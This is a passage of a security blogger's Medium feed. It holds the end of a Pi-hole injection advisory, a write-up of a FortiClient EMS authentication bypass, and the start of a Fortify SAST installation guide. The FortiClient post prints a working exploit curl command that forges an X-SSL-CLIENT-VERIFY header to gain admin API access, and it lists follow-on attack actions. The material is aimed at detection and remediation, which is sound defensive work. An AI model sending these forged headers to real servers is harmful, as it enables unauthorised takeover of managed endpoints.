Works</h4><p>The detection is version-based:</p><p>1. <strong>Fingerprint</strong> Pi-hole via web interface indicators<br>2. <strong>Query</strong> both Pi-hole v5 and v6 API endpoints for FTL version information<br>3. <strong>Compare</strong> the detected version against the vulnerable range (6.0 ≤ version &lt; 6.6)<br>4. <strong>Flag</strong> all five related injection advisories if the instance is vulnerable</p><p>No injection payloads are sent. The check is entirely read-only and safe for production.</p><h4>Remediation</h4><p><strong>The fix takes 30 seconds:</strong></p><pre>pihole -up<br>pihole -v # Verify FTL &gt;= 6.6</pre><p><strong>If you can’t upgrade immediately:</strong><br>1. Change the admin password to something strong: `<em>pihole -a -p</em>`<br>2. Restrict admin interface access to trusted IPs only<br>3. Disable the remote API if you’re not using it<br>4. Isolate the Pi-hole on a management VLAN</p><p><strong>After patching, investigate:</strong><br>1. Check dnsmasq configs in `<em>/etc/dnsmasq.d/</em>` and `<em>/etc/pihole/</em>` for injected directives<br>2. Verify upstream DNS settings haven’t been tampered with<br>3. Look for unauthorized cron jobs, SSH keys, or modified system files<br>4. Monitor DNS resolution patterns for anomalies</p><h4>The Lesson</h4><p>CVE-2026–35517 is a powerful reminder of a principle that should be tattooed on every developer’s forearm: <strong>never write unsanitized user input into files that are interpreted as instructions.</strong></p><p>The dnsmasq config format is a domain-specific language. Writing unsanitized user input into it is fundamentally the same class of vulnerability as SQL injection, OS command injection, or template injection untrusted input crossing a trust boundary into an execution context.</p><p>The fact that this pattern existed across five different parameters simultaneously tells us this wasn’t a one-off mistake. It was a systemic gap input validation wasn’t part of the config-write pipeline’s architecture. That’s the kind of issue that code review, automated SAST tools, and security-focused testing should catch.</p><p>For Pi-hole users: the project’s maintainers responded quickly and thoroughly. The patch was available before the CVE was even published. That’s responsible disclosure working exactly as it should.</p><p>Now go run `<em>pihole -up</em>`.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=737067aa72d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One HTTP Header to Rule Them All: Breaking Down CVE-2026–35616]]></title>
            <link>https://medium.com/@keraattin/one-http-header-to-rule-them-all-breaking-down-cve-2026-35616-39b100f5de9f?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/39b100f5de9f</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[fortinet]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 19:24:14 GMT</pubDate>
            <atom:updated>2026-04-13T19:24:14.552Z</atom:updated>
            <content:encoded><![CDATA[<p>How a trust boundary violation in FortiClient EMS turns a single forged header into enterprise-wide compromise and how to detect it.</p><p>What if I told you that a single forged HTTP header could give an attacker full administrative control over every endpoint in your organization?</p><p>That’s exactly what <strong>CVE-2026–35616</strong> enables. A critical authentication bypass in <strong>Fortinet FortiClient EMS 7.4.5 and 7.4.6</strong> the centralized management platform that controls every FortiClient agent in an enterprise allows a completely unauthenticated, remote attacker to waltz past the login screen with nothing more than a crafted HTTP header.</p><p>No brute-forcing. No credential stuffing. No social engineering. Just one header: <em>X-SSL-CLIENT-VERIFY: SUCCESS</em>.</p><p>It’s been actively exploited since March 31, 2026. CISA added it to the Known Exploited Vulnerabilities catalog on April 6 with a remediation deadline of just three days. If you’re running FortiClient EMS 7.4.5 or 7.4.6, this article is your wake-up call.</p><h4>Understanding the Target</h4><p>Before we dissect the bug, let’s understand what we’re dealing with.</p><p>FortiClient EMS (Enterprise Management Server) is Fortinet’s centralized endpoint management platform. It’s the command-and-control layer for deploying, configuring, and monitoring FortiClient agents across an organization. If your company uses Fortinet for endpoint security, EMS is likely the brain behind it all.</p><p>EMS handles security policy distribution, VPN profile management, endpoint compliance checks, software updates, and Zero Trust Network Access (ZTNA) integration with FortiGate firewalls. It stores credentials, certificates, and telemetry for every managed endpoint.</p><p>When an attacker compromises EMS, they don’t just own one server they own the <strong>keys to every managed endpoint in the organization</strong>. That’s what makes this CVE a 9.1 on the CVSS scale.</p><h4>The Architecture</h4><p>FortiClient EMS runs a standard stack: an <strong>Apache frontend</strong> with <em>mod_ssl</em> for TLS termination, fronting a <strong>Django backend </strong>for application logic.</p><pre>```<br>+----------------+          +----------------+          +----------------+<br>|   Browser /    |  HTTPS   |    Apache      |   WSGI   |    Django      |<br>|   API Client   | -------&gt; |   (mod_ssl)    | -------&gt; |    Backend     |<br>+----------------+          +----------------+          +----------------+<br>```</pre><p>When mutual TLS (mTLS) is configured, Apache handles client certificate verification. After validation, Apache communicates the result to Django through <strong>trusted WSGI environment variables</strong>:</p><p>- <em>SSL_CLIENT_VERIFY</em> — verification status (“SUCCESS”, “NONE”, “FAILED”)<br>- <em>SSL_CLIENT_S_DN</em> — certificate Subject Distinguished Name<br>- <em>SSL_CLIENT_SERIAL</em> — certificate serial number</p><p>These WSGI variables are set by the server process itself. The client never touches them. This is the standard, secure approach used across countless Apache+WSGI deployments.</p><p>So far, so good. Now here’s where it breaks.</p><h4>The Flaw: When the Middleware Trusts the Wrong Source</h4><p>In versions 7.4.5 and 7.4.6, the Django authentication middleware was modified to <strong>also</strong> read certificate metadata from standard HTTP request headers:</p><p>- <em>X-SSL-CLIENT-VERIFY</em><br>- <em>X-SSL-CLIENT-S-DN</em><br>- <em>X-SSL-CLIENT-SERIAL</em></p><p>This was almost certainly added to support reverse proxy deployments where Apache isn’t the TLS termination point a common pattern where an upstream load balancer handles TLS and forwards certificate data via headers.</p><p>The problem? The middleware doesn’t distinguish between these two sources. It checks WSGI variables first, but if they’re absent (which they will be if mTLS isn’t configured, or if the attacker connects directly), it <strong>falls back to the HTTP headers</strong> which any client can set to any value.</p><pre>```<br>SECURE PATH (intended):<br>  Apache validates cert --&gt; sets WSGI vars --&gt; Django reads WSGI vars  [OK]<br><br>INSECURE PATH (the vulnerability):<br>  Attacker sets HTTP headers --&gt; Django reads headers --&gt; Trusts them  [FAIL]<br>```</pre><p>The middleware effectively asks the client: “Hey, did someone already verify your identity?” And if the client says “yes,” it’s believed without question.</p><p>Think of it this way: imagine a VIP club with two entry points. The main entrance has a bouncer who checks IDs thoroughly. The side entrance was added for VIPs who were “already checked” but instead of verifying that, the door person just asks “were you checked?” and takes the visitor’s word for it.</p><p>That’s exactly what this middleware does.</p><h4>The Attack: One Request, Total Control</h4><p>The exploitation is alarmingly simple. Here’s a <em>curl</em> command that demonstrates the concept:</p><pre>curl -sk -X POST https://&lt;TARGET&gt;:443/api/v1/auth/signin \<br> -H &quot;Content-Type: application/json&quot; \<br> -H &quot;X-SSL-CLIENT-VERIFY: SUCCESS&quot; \<br> -H &quot;X-SSL-CLIENT-S-DN: CN=admin&quot; \<br> -H &quot;X-SSL-CLIENT-SERIAL: 0000000000000001&quot; \<br> -d &#39;{}&#39;</pre><p>The Django middleware sees <em>X-SSL-CLIENT-VERIFY: SUCCESS</em>, interprets it as a verified mTLS session from “admin”, and grants full API access.</p><p>From there, an attacker can:</p><p>1. <strong>Push malicious policies</strong> to every managed endpoint<br>2. <strong>Extract stored credentials</strong> and certificates from the EMS database<br>3. <strong>Deploy malware</strong> via FortiClient’s built-in software distribution mechanism<br>4. <strong>Modify ZTNA configurations</strong> to create persistent backdoor access<br>5. <strong>Disable security controls</strong> across the entire managed fleet</p><p>This isn’t theoretical. The Defused Cyber team recorded exploitation attempts against honeypots starting <strong>March 31, 2026</strong>. By the time Fortinet released the hotfix on April 4, threat actors had already been exploiting this for days.</p><h4>The Blast Radius</h4><p>Most authentication bypasses compromise a single application. CVE-2026–35616 is fundamentally different because FortiClient EMS is a <strong>force multiplier</strong>.</p><p>Consider a mid-size enterprise with 2,000 managed endpoints. A single successful exploitation of EMS gives the attacker:</p><p>- <strong>Immediate </strong>full administrative control over the management console<br>- <strong>The ability</strong> to push arbitrary code to 2,000 devices simultaneously via policy distribution<br>- <strong>Access</strong> to VPN credentials, endpoint certificates, and security telemetry for the entire fleet<br>- <strong>The power</strong> to silently disable security controls, creating cover for follow-up operations</p><p>An attacker who compromises EMS doesn’t need to move laterally they can command every managed device to do whatever they want, from the management console itself.</p><p>This is why CISA gave it a 3-day remediation deadline. Not 30 days. Three.</p><h4>Exploitation Timeline</h4><pre>| Date | Event |<br>|------|-------|<br>| Late March 2026 | Discovered by Simo Kohonen (Defused Cyber) and Nguyen Duc Anh |<br>| March 31, 2026 | First exploitation attempts on honeypots |<br>| April 4, 2026 | Fortinet emergency hotfixes for 7.4.5 and 7.4.6 |<br>| April 6, 2026 | CISA KEV — 3-day remediation deadline |</pre><h4>Detection: How to Find Vulnerable Instances</h4><p>I built both a <strong>Python scanner</strong> and an <strong>Nmap NSE script</strong> that detect vulnerable FortiClient EMS instances using a safe, non-destructive technique.</p><p>The Detection Technique: Differential Response Analysis</p><p>The approach is straightforward:</p><p>1. <strong>Baseline</strong> — Send a POST request to EMS API endpoints without any special headers. A properly configured EMS returns <em>HTTP 401 Unauthorized</em>.</p><p>2. <strong>Probe</strong> — Send the identical request with the <em>X-SSL-CLIENT-VERIFY: SUCCESS</em> header injected.</p><p>3. <strong>Compare</strong> — If the response code changes from <em>401</em> to something else (typically <em>500</em> or <em>200</em>), the authentication bypass is confirmed. The middleware is accepting the spoofed header.</p><p>No exploit payloads are sent. No commands are executed. The test purely observes whether the server’s behavior changes in response to a spoofed authentication header.</p><h4>Using the Tools</h4><p><strong>Python scanner:</strong></p><pre># Single target<br>python CVE-2026–35616_FortiClientEMS_detector.py -t 192.168.1.100<br># Bulk scan from file<br>python CVE-2026–35616_FortiClientEMS_detector.py -f targets.txt - json -o results.json</pre><p><strong>Nmap NSE:</strong></p><pre>nmap -p 443 - script CVE-2026–35616_FortiClientEMS &lt;target&gt;</pre><p><strong>Manual verification with curl:</strong></p><pre># Baseline (should return 401)<br>curl -sk -o /dev/null -w &quot;%{http_code}&quot; -X POST \<br> https://&lt;TARGET&gt;:443/api/v1/auth/signin \<br> -H &quot;Content-Type: application/json&quot; -d &#39;{}&#39;<br># Spoofed (if NOT 401, likely vulnerable)<br>curl -sk -o /dev/null -w &quot;%{http_code}&quot; -X POST \<br> https://&lt;TARGET&gt;:443/api/v1/auth/signin \<br> -H &quot;Content-Type: application/json&quot; \<br> -H &quot;X-SSL-CLIENT-VERIFY: SUCCESS&quot; \<br> -H &quot;X-SSL-CLIENT-S-DN: CN=admin&quot; -d &#39;{}&#39;</pre><p>All detection tools, along with full technical documentation, are available in the GitHub repository:</p><p>&gt; <em>GitHub:</em> <a href="https://github.com/keraattin/CVE-2026-35616)**">https://github.com/keraattin/CVE-2026-35616</a></p><h4>What to Look For: Indicators of Compromise</h4><p>If you’ve been running a vulnerable version, here’s what to check:</p><p>- <strong>Apache access logs</strong>: API requests containing <em>X-SSL-CLIENT-VERIFY</em> headers from IPs that aren’t your reverse proxy<br>- <strong>EMS audit trail</strong>: Admin actions (policy changes, credential access) without corresponding login events<br>- <strong>Endpoint behavior</strong>: Unauthorized policy pushes, new software installations, or configuration changes on managed FortiClient agents<br>- <strong>Network flows</strong>: Unexpected connections to/from the EMS API port from external or untrusted IPs</p><h4>Remediation</h4><p><strong>Right now:</strong><br>1. Apply the Fortinet hotfix for EMS 7.4.5/7.4.6 (released April 4)<br>2. Restrict network access to the EMS management port — only trusted admin IPs<br>3. Deploy WAF rules to <strong>strip</strong> <em>X-SSL-CLIENT-VERIFY</em>, <em>X-SSL-CLIENT-S-DN</em>, and <em>X-SSL-CLIENT-SERIAL</em> headers from all incoming requests</p><p><strong>This week:</strong><br>4. Upgrade to FortiClient EMS 7.4.7 when available<br>5. Rotate all admin credentials and regenerate managed certificates<br>6. Audit every managed endpoint for unauthorized policy or configuration changes</p><p><strong>Going forward:</strong><br>7. Isolate EMS in a dedicated management VLAN<br>8. Implement monitoring for API access patterns alert on any authenticated API calls without valid mTLS sessions<br>9. Consider this a lesson in trust boundary enforcement user-controlled headers must never be trusted for authentication decisions</p><h4>The Bigger Lesson</h4><p>CVE-2026–35616 is a textbook trust boundary violation. The middleware trusted data from an untrusted source HTTP headers that any client can forge. It’s the kind of bug that seems obvious in hindsight, but it shipped in two consecutive versions of a product that protects enterprise endpoints worldwide.</p><p>It also continues a pattern in Fortinet’s recent security history. When the security infrastructure itself becomes the attack surface, the consequences are magnified exponentially. A vulnerability in a web app might compromise that app. A vulnerability in an endpoint management platform can compromise an entire organization.</p><p>If you’re running FortiClient EMS, check your version. If it’s 7.4.5 or 7.4.6, patch today. Not tomorrow. Today.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39b100f5de9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fortify-Open Text SAST Detailed Installation Guide (Windows & Linux)]]></title>
            <link>https://medium.com/@keraattin/fortify-open-text-sast-detailed-installation-guide-windows-linux-9de01f516cc1?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/9de01f516cc1</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[code-analysis]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[sast]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Thu, 08 May 2025 13:25:00 GMT</pubDate>
            <atom:updated>2025-05-08T13:25:00.685Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Contents</strong></h3><p><a href="#daa1">1.Introduction to SAST and Fortify</a><br><a href="#7d11">2.Fortify Language Coverage</a><br><a href="#a170">3.Requirements</a><br> <a href="#856c">3.1.Supported platforms and architectures</a><br> <a href="#455c">3.2.Hardware Requirements</a><br> <a href="#3534">3.3.Software Requirements</a><br><a href="#6e52">4.Static Code Analyze Process</a><br><a href="#c37e">5.Where/How to Get the Software</a><br><a href="#d645">6.Windows Installation</a><br><a href="#d35f">7.Installing Fortify Tools for Windows</a><br><a href="#4044">8.Example Scan</a><br> <a href="#7f45">8.1.Scan with Scan Wizard</a><br> <a href="#6a34">8.2.Scan from Command Line</a><br><a href="#c59c">9.Where are the Configs &amp; Logs Located at Windows</a><br><a href="#11b9">10.How to Update Rulepacks</a><br> <a href="#0ad1">10.1.Online Update</a><br> <a href="#df3c">10.2.Offline Update</a><br><a href="#bc17">11.Installing to Linux</a><br><a href="#b9d7">12.Installing Fortify Tools for Linux</a></p><h3>1.Introduction to SAST and Fortify</h3><p>In today’s fast-paced software development environment, integrating security into the development lifecycle is more critical than ever. Static Application Security Testing (SAST) is one of the foundational approaches to secure coding practices. SAST tools analyze source code, bytecode, or binaries for vulnerabilities without executing the program. This allows security teams and developers to identify and remediate security flaws early in the Software Development Life Cycle (SDLC), reducing risk and cost.</p><p>SAST is particularly valuable because it provides deep visibility into the code structure and logic, detecting issues such as SQL injection, cross-site scripting (XSS), insecure data handling, and more. It is typically integrated into development pipelines, allowing developers to receive immediate feedback on security issues during coding or build stages.</p><p>One of the industry-leading SAST solutions is <strong>Fortify Static Code Analyzer (SCA)</strong> by Micro Focus (now part of OpenText). Fortify SCA supports a wide range of programming languages and frameworks, and it offers advanced analysis capabilities tailored to both enterprise and DevSecOps environments. By integrating Fortify into your development workflow, you can ensure consistent and scalable security analysis across applications and teams.</p><p>In this guide, we’ll walk through the installation process for Fortify SCA, covering prerequisites, environment setup, and initial configuration, so you can begin securing your code from day one.</p><h3>2.Fortify Language Coverage</h3><p>OpenText SAST provides accurate support for 33+ major languages and their frameworks, with agile updates backed by the industry-leading Software Security Research (SSR) team</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fU_Hvt1hqdvvlclkLtegvA.png" /></figure><h3>3.Requirements</h3><blockquote>PS: This blog post written for OpenText Static Application Security Testing <strong>25.2</strong>. It may vary in other versions.</blockquote><h4>3.1.Supported platforms and architectures</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XXdXaWLJsbS0vNrYoWNRHg.png" /><figcaption>Supported platforms and architectures</figcaption></figure><h4>3.2.Hardware Requirements</h4><p>System resources such as CPU, memory, and storage can drastically impact the overall analysis time for a project. It depends on many factors related to the target project codebase such as overall code size, composition, language, and code complexity. The following guidance provides some general starting points based on our experience scanning many different real-world applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ioJha_Ren70n8JqEb952ag.png" /><figcaption>Hardware Requirements</figcaption></figure><p>OpenText SAST takes advantage of all CPU cores available on your system to reduce the scan time of large projects. When you run OpenText SAST, avoid running other CPU intensive processes during the OpenText SAST execution because it expects to have the full resources of your hardware<br>available for the scan.</p><h4>3.3.Software Requirements</h4><p>The OpenText SAST installation <strong>includes </strong>an embedded <strong>OpenJDK/JRE version 17.0.14</strong>, which the software requires. <br><em>You </em><strong><em>do not need </em></strong><em>to install Java 17.</em></p><p>To use OpenText SAST, you must have Read and Write permissions for the OpenText SAST installation directory.</p><p>The following table lists software requirements for analysis of specific project types</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rpG-86FKTc3kPd7I-UHybQ.png" /><figcaption>software requirements for analysis of specific project types</figcaption></figure><h3>4.Static Code Analyze Process</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PEgnC8u_2QzcGFn_M5eVOw.png" /><figcaption>Static Code Analyze Process</figcaption></figure><h3>5.Where/How to Get the Software</h3><p>Go to <a href="https://sld.microfocus.com/mysoftware/index">https://sld.microfocus.com/</a> and login with your credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NAX1OEmJvTiOOBH5kEnb4w.png" /></figure><p>Click Downloads section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*6bOUDnzGjmRoraLpYpVl9g.png" /></figure><p>Select your product and find the <strong>OpenText_SAST_Foritfy{{Your_Platform}}_{{Version}}.zip </strong>and download</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TnXmdUAww3JD2MhLwf6V0g.png" /></figure><p>In this blog post we’ll use Windows version.</p><h3>6.Windows Installation</h3><p>Run the installer file for your operating system to start the OpenText SAST Setup wizard: OpenText_SAST_Fortify_windows-x64_<em>&lt;version&gt;</em>.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*4Twlj4NFf8iaTUSLvjZhjQ.png" /></figure><p>Review and accept the license agreement, and then click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*2nrXMHVZyQaozJJkT3vmMQ.png" /></figure><p>(Optional) Select components to install, and then click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*A0niJrNOXjdVq8LdKbhgaA.png" /></figure><p>If the installer detects that the system does not include the minimum software required to analyze some types of projects, a <a href="https://www.microfocus.com/documentation/fortify-static-code-analyzer-and-tools/2520/sast-ugd-html-25.2.0/Content/sys-reqs/sca-sw.htm"><strong>System Requirements</strong></a> page displays any missing requirements and which projects require them. Click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*er-MRrg4OLDJInmKv_V3OQ.png" /></figure><p>Choose where to install OpenText SAST, and then click <strong>Next</strong>.</p><p>If you selected to include Fortify ScanCentral SAST client with the installation in step 3, then you must specify a location that does not include spaces in the path.</p><p><strong>Important! </strong>Do not install OpenText SAST in the same directory where OpenText™ Application Security Tools is installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*JaJPmAqdGPP7qhU3RdLXLw.png" /></figure><p>Specify the path to the fortify.license file, and then click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*_TKWB3lfRwqFb7EeGvS7CQ.png" /></figure><p>(Optional) On the <strong>LIM License</strong> page, select <strong>Yes</strong> to manage your concurrent licenses with Fortify License and Infrastructure Manager (LIM) or select <strong>No </strong>and click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*O7TI_MRRgHC5kq_3ENf5-A.png" /></figure><p>To update the security content for your installation:</p><blockquote><strong>Note: </strong>For deployment environments that do not have access to the internet during installation, you can update the security content using the fortifyupdate command-line tool. See <a href="https://www.microfocus.com/documentation/fortify-static-code-analyzer-and-tools/2520/sast-ugd-html-25.2.0/Content/install/PostInstall/InstallSecurityContent.htm">Manually installing Fortify Software Security Content</a>.</blockquote><ul><li>Type the web address of the update server.</li><li>To use the Fortify Rulepack update server for security content updates, keep the web address https://update.fortify.com. You can also use Fortify Software Security Center as the update server.</li><li>(Optional) If connection to the update server requires a proxy server, type the proxy host and port number.</li><li>If you want to update the security content manually, clear the <strong>Update security content after installation</strong> check box.</li><li>Click <strong>Next</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*aQgIXSLE-QGYiTLipJvVTw.png" /></figure><p>Specify if you want to migrate from a previous installation on your system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*ClofpPjF5Pv7564-wpFiig.png" /></figure><p>Click <strong>Next</strong> on the <strong>Ready to Install</strong> page to install OpenText SAST, any selected components, and Fortify security content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*-GaiXspuaASvi65EJMqj6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*4WoCv9F_-FDDNZKai2vnqw.png" /></figure><p>If you selected to update security content, the Security Content Update Result window displays the security content update results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*Fr-df0q-K-GIvIV0qlUCTA.png" /></figure><p>Click <strong>Finish</strong> to close the Setup wizard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*r7PAIv4wdnA3NwEBFGX-Cg.png" /></figure><h3>7.Installing Fortify Tools for Windows</h3><p>Run the installer file for your operating system to start the Setup wizard: <strong>Fortify_Apps_and_Tools_&lt;version&gt;_windows_x64.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*xCgOgtT8h1yYQf9-Yf0SFw.png" /></figure><p>Review and accept the license agreement, and then click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*VqVnNUYMoFUOqblJUesUVw.png" /></figure><p>Choose where to install and then click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*JVeH6VhIeiQeavds7EbW_g.png" /></figure><p>Choose which tools want to install and click <strong>Next.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*hfua8krKDNuH9m7DpkXZlQ.png" /></figure><p>Specify the path to the fortify.license file, and then click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*_TKWB3lfRwqFb7EeGvS7CQ.png" /></figure><p>Specify if you want to migrate from a previous installation on your system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*ClofpPjF5Pv7564-wpFiig.png" /></figure><p>Click <strong>Next</strong> on the <strong>Ready to Install</strong> page to install</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*EntcNqI3MKdlOj7Zy8JIJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*qyuU_nC47c3uMW_t3PnLSA.png" /></figure><p>Click <strong>Finish</strong> to close the Setup wizard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*d7yKz46Bjqxu5s2a0LfFEg.png" /></figure><h3>8.Example Scan</h3><h4>8.1.Scan with Scan Wizard</h4><p>Let’s do an example scan. We’ll use ScanWizard to make a script and we’ll use Fortify sample projects.</p><p>Let’s choose <strong>php8.0</strong> project from the <strong>basic samples.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*HXuFr-kprVioQAUqvpfxgQ.png" /></figure><p>Search “Scan Wizard” from your search bar. We were installed the Scan Wizard with the <strong>tools</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*GmymKu1ceJ8H2lM2hjlawg.png" /></figure><p>Add the <strong>Project Root</strong> and click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*h2ZegKzVnLDonNa21BYr9Q.png" /></figure><p>Select which <strong>files to scan</strong> and select <strong>build options</strong> and then click <strong>next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*TNxd9-w-2mKqBmENQn1RLA.png" /></figure><p>Click the <strong>Generate Script</strong>, type the scan results <strong>file name</strong>, select if scan results will <strong>uploads to SSC</strong>, adjust the <strong>Scan Memory</strong> and then click <strong>next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*cVBtdMuHf7UPpiS-rE5Kyg.png" /></figure><p>Add custom rules if exist and click next. In this case we are not going to add any custom rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*Wt_fHi33t5Z55RFEj4PURQ.png" /></figure><p>Click finish to create the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*2oOQ_v9wD3HlByb6KMJFLA.png" /></figure><p>Now we can found the script in the source folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*a_I1yMLtdy9KHW_uflmIiQ.png" /></figure><p>Open a terminal and execute the <strong>.bat script</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*GW62jH8nnHCFUFZ6GtjbpQ.png" /></figure><p>As a result of the execution <strong>fpr file</strong> appears on the source folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*0mY_Frqj-PsWk7FRUcp2Rw.png" /></figure><p>Open the <strong>fpr file</strong> for the results. At the first time opening the Audit Workbench it might ask the Static Code Analyzer executable location</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*l3-3BdvZp6sKhhJEjcl8qA.png" /></figure><p>Click <strong>OK </strong>and select <strong>sourceanalyzer.exe</strong> which is at <strong>C:\Program Files\Fortify\OpenText_SAST_Fortify_25.2.0\bin\sourceanalyzer.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*KOM6T6hnABRfV0DdU_cNmA.png" /></figure><p>Now we are seeing the results of the scan from the Audit Workbench.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*AnZ1XxvG6UPH0-wldi894A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2aQ_U7QqGuxOhAFYsvvCew.png" /></figure><h4>8.2.Scan from Command Line</h4><p>Let’s do an example for Command Line scan.</p><p>Let’s choose again <strong>php8.0</strong> project from the <strong>basic samples.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*HXuFr-kprVioQAUqvpfxgQ.png" /></figure><p>Open a terminal in the source folder or open a terminal and go to the source folder.</p><p>Run this commands</p><blockquote>$ sourceanalyzer -b php-sample -clean</blockquote><blockquote>$ sourceanalyzer -b php-sample Sample.php -php-version 8.0</blockquote><blockquote>$ sourceanalyzer -b php-sample -scan -f php-sample.fpr</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*VcCs4v1eYZtkCZbI_KTkCQ.png" /></figure><p>As a result of the execution<strong> fpr file</strong> appears on the source folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*x95TcdIxTxQ0V2wF2fRWZQ.png" /></figure><p>Now we are seeing the results of the scan from the Audit Workbench.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*3O7mbhaQxe46o2sY6EhMRA.png" /></figure><p>More examples can be found when type <strong><em>sourceanalyzer -h</em></strong> from the terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*8JZj8_rSjXNr2ajfdsyW4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*Mr6R-0b6HcF6FuzJp49PBg.png" /></figure><h3>9.Where are the Configs &amp; Logs Located at Windows</h3><p>Fortify’s configs, logs etc location is under the %APPDATA% folder.</p><p><strong>Folder Location:</strong></p><blockquote>C:\Users\vboxuser\AppData\Local\Fortify</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*R2wWS75f9AXFUiS-JcO1lQ.png" /></figure><p><strong>Build Logs Location:</strong></p><blockquote>C:\Users\vboxuser\AppData\Local\Fortify\sca25.2\build</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*kpmicKCHpMsqaRPWYqon8w.png" /></figure><h3>10.How to Update Rulepacks</h3><p>This section covers both linux and windows. It’s same for the both.</p><h4>10.1.Online Update</h4><p>It’s very simple, just type</p><blockquote>fortifyupdate</blockquote><p><strong>fortifyupdate </strong>is a tool that helps to update the <strong>rulepacks</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*dhOIJvxK5Gpi111EeldGmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*xa66NSEYSBZJzIpYxBcMbg.png" /></figure><h4>10.2.Offline Update</h4><p>Follow this steps.</p><p>1. Login into the update site <a href="https://update.fortify.com/secure/index.jsp">https://update.fortify.com/secure/index.jsp</a><br>2. Click on download <strong>rulepacks </strong>and select your <strong>rulepack </strong>subscription from the list.<br>3. Select from the list the <strong>rulepack </strong>release you wish to download.<br>4.The files corresponding to that <strong>rulepack </strong>will be shown and can be selected for download.</p><p>After get the rulepacks file simply just type</p><blockquote>fortifyupdate -import &lt;filename&gt;</blockquote><p>&lt;filename&gt; is the name of the <strong>rulepacks </strong>file.</p><h3>11.Installing to Linux</h3><p>In this section we are going to Install Fortify SAST to Linux. We are using 